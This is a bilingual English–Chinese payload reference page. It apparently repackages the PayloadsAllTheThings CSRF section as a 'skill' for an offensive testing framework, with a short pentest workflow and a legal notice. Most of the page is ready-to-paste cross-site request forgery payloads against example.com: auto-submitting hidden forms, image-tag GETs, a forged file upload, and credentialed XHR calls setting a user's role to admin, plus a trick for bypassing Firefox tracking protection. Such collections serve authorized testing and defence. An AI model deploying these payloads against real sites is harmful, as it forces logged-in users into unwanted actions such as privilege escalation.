payloads-csrf

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

CSRF Payloads

CSRF 载荷

Source: PayloadsAllTheThings/Cross-Site Request Forgery Category:
payloads-web
| Skill ID:
payloads-csrf
来源: PayloadsAllTheThings/Cross-Site Request Forgery 分类:
payloads-web
| Skill ID:
payloads-csrf

Overview

概述

Cross-Site Request Forgery payload templates and CSRF token bypass techniques.
This skill integrates the full PayloadsAllTheThings (PATT) payload library for the CSRF Payloads domain into the REA_Skill framework. Use it during authorized penetration testing, bug bounty research, security audits, and CTF challenges.
CSRF 载荷模板与 CSRF token 绕过技术。
此 skill 将完整的 PayloadsAllTheThings(PATT)载荷库中面向 CSRF Payloads 领域的资源集成至 REA_Skill 框架。将其用于获得授权的渗透测试、漏洞赏金研究、安全审计和 CTF 挑战。

Workflow

工作流程

1. Recon & Identification

1. 侦察与识别

  • Identify the target technology stack and injection points
  • Enumerate endpoints, parameters, and input vectors
  • Determine applicable payload categories from the reference below
  • 识别目标技术栈和注入点
  • 枚举端点、参数和输入向量
  • 根据下方参考确定适用的载荷类别

2. Payload Selection

2. 载荷选择

  • Browse the PATT payload library for the attack class
  • Select encoding-appropriate payloads for the target environment
  • Consider WAF bypass variants and obfuscation techniques
  • 在 PATT 载荷库中浏览对应攻击类别的内容
  • 为目标环境选择编码适配的载荷
  • 考虑 WAF 绕过变体和混淆技术

3. Exploitation (Authorized Only)

3. 漏洞利用(仅限已授权场景)

  • Test payloads in order: passive → active → escalation
  • Document every payload tested and its response
  • Capture PoC evidence (screenshots, HTTP logs, curl output)
  • 按以下顺序测试载荷:被动 → 主动 → 升级利用
  • 记录每一个已测试的载荷及其响应
  • 捕获 PoC 证据(截图、HTTP 日志、curl 输出)

4. Verification & Reporting

4. 验证与报告

  • Confirm the vulnerability with a clean minimal PoC
  • Map findings to CVE/CWE where applicable
  • Report with remediation recommendations and code fixes

  • 使用精简的最小化 PoC 确认漏洞
  • 在适用的情况下,将发现映射到 CVE/CWE
  • 报告修复建议和代码修复方案

Full PATT Reference

完整 PATT 参考

Cross-Site Request Forgery

跨站请求伪造

Cross-Site Request Forgery (CSRF/XSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. - OWASP
跨站请求伪造(CSRF/XSRF)是一种攻击,迫使终端用户在其当前已通过身份验证的 Web 应用程序中执行非预期操作。CSRF 攻击专门针对会改变状态的请求,而不是数据窃取,因为攻击者无法查看伪造请求的响应。——OWASP

Summary

摘要

Tools

工具

Methodology

方法

CSRF_cheatsheet
When you are logged in to a certain site, you typically have a session. The identifier of that session is stored in a cookie in your browser, and is sent with every request to that site. Even if some other site triggers a request, the cookie is sent along with the request and the request is handled as if the logged in user performed it.
CSRF_cheatsheet
当你登录某个站点时,通常会拥有一个会话。该会话的标识符存储在浏览器的 Cookie 中,并随发往该站点的每个请求一同发送。即使由其他站点触发请求,Cookie 也会随请求发送,该请求也会被视为由已登录用户执行。

HTML GET - Requiring User Interaction

HTML GET - 需要用户交互

html
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>
html
<a href="http://www.example.com/api/setusername?username=CSRFd">Click Me</a>

HTML GET - No User Interaction

HTML GET - 无需用户交互

html
<img src="http://www.example.com/api/setusername?username=CSRFd">
html
<img src="http://www.example.com/api/setusername?username=CSRFd">

HTML POST - Requiring User Interaction

HTML POST - 需要用户交互

html
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>
html
<form action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>

HTML POST - AutoSubmit - No User Interaction

HTML POST - 自动提交 - 无需用户交互

html
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>
 
<script>
 document.getElementById("autosubmit").submit();
</script>
html
<form id="autosubmit" action="http://www.example.com/api/setusername" enctype="text/plain" method="POST">
 <input name="username" type="hidden" value="CSRFd" />
 <input type="submit" value="Submit Request" />
</form>
 
<script>
 document.getElementById("autosubmit").submit();
</script>

HTML POST - multipart/form-data With File Upload - Requiring User Interaction

HTML POST - multipart/form-data 包含文件上传 - 需要用户交互

html
<script>
function launch(){
    const dT = new DataTransfer();
    const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
    dT.items.add( file );
    document.xss[0].files = dT.files;

    document.xss.submit()
}
</script>

<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
<input type="submit" name="" value="" size="0" />
</form>
<button value="button" onclick="launch()">Submit Request</button>
html
<script>
function launch(){
    const dT = new DataTransfer();
    const file = new File( [ "CSRF-filecontent" ], "CSRF-filename" );
    dT.items.add( file );
    document.xss[0].files = dT.files;

    document.xss.submit()
}
</script>

<form style="display: none" name="xss" method="post" action="<target>" enctype="multipart/form-data">
<input id="file" type="file" name="file"/>
<input type="submit" name="" value="" size="0" />
</form>
<button value="button" onclick="launch()">Submit Request</button>

JSON GET - Simple Request

JSON GET - 简单请求

html
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>
html
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://www.example.com/api/currentuser");
xhr.send();
</script>

JSON POST - Simple Request

JSON POST - 简单请求

With XHR :
html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>
With autosubmit send form, which bypasses certain browser protections such as the Standard option of Enhanced Tracking Protection in Firefox browser :
html
<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
// this input will send : {"role":admin,"other":"="}
 <input type="hidden" name='{"role":admin, "other":"'  value='"}' />
</form>
<script>
 document.getElementById("CSRF_POC").submit();
</script>
使用 XHR:
html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
//application/json is not allowed in a simple request. text/plain is the default
xhr.setRequestHeader("Content-Type", "text/plain");
//You will probably want to also try one or both of these
//xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
//xhr.setRequestHeader("Content-Type", "multipart/form-data");
xhr.send('{"role":admin}');
</script>
使用自动提交表单发送请求,可以绕过某些浏览器保护机制,例如 Firefox 浏览器中 Enhanced Tracking Protection 的“标准”选项:
html
<form id="CSRF_POC" action="www.example.com/api/setrole" enctype="text/plain" method="POST">
// this input will send : {"role":admin,"other":"="}
 <input type="hidden" name='{"role":admin, "other":"'  value='"}' />
</form>
<script>
 document.getElementById("CSRF_POC").submit();
</script>

JSON POST - Complex Request

JSON POST - 复杂请求

html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>
html
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://www.example.com/api/setrole");
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/json;charset=UTF-8");
xhr.send('{"role":admin}');
</script>

Labs

实验

References

参考资料

REA MCP Integration

REA MCP 集成

javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.
javascript
// REA MCP — Automated payload injection via REA tools
// Use analyze_function, procedure_pseudo_code, or observe_native_calls
// to identify injection sinks, then apply payloads from this skill.

Legal Notice

法律声明

⚠️ Authorized Use Only. All payloads in this skill are for security research, penetration testing with written permission, CTF competitions, and defensive study. Unauthorized use against systems you do not own or have explicit permission to test is illegal.
⚠️ 仅限授权使用。 此 skill 中的所有载荷仅用于安全研究、获得书面许可的渗透测试、CTF 竞赛和防御性研究。未经授权对不属于你所有或未获得明确测试许可的系统使用,均属违法。